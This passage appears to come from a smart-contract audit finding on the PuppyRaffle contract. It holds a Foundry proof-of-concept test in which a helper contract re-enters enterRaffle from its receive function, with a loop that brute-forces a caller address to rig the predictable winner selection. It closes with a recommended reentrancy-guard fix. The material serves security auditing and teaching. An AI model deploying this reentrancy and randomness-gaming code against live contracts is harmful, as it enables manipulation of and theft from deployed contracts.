Place the following test and helper contract into `PuppyRaffleTest.t.sol`.
```solidity
contract ReenteringWinner {
PuppyRaffle raffle;
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
receive() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: raffle.entranceFee()}(players);
}
}
function test_selectWinner_externalCallAllowsReentryIntoEnterRaffle() public {
PuppyRaffle raffle = new PuppyRaffle(1 ether, address(123), 0);
ReenteringWinner rw = new ReenteringWinner(raffle);
address[] memory players = new address[](4);
players[0] = address(rw);
players[1] = address(1);
players[2] = address(2);
players[3] = address(3);
vm.deal(address(this), 4 ether);
raffle.enterRaffle{value: 4 ether}(players);
address caller;
vm.warp(1_000);
for (uint256 i = 10; i < 10_000; i++) {
address candidate = address(uint160(i));
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))
) % 4;
if (winnerIndex == 0) {
caller = candidate;
break;
}
}
assertTrue(caller != address(0));
vm.prank(caller);
raffle.selectWinner();
assertEq(raffle.players(0), address(rw));
}
Use pull-payments for prize claims or apply a strict CEI flow.
If keeping push-payments, prevent re-entry into `enterRaffle()` while a winner is being selected.
```diff
+ bool private selectingWinner;
@@
function enterRaffle(address[] memory newPlayers) public payable {
+ require(!selectingWinner, "PuppyRaffle: selecting winner");
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
@@
function selectWinner() external {
+ selectingWinner = true;
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
@@
_safeMint(winner, tokenId);
+ selectingWinner = false;
}
```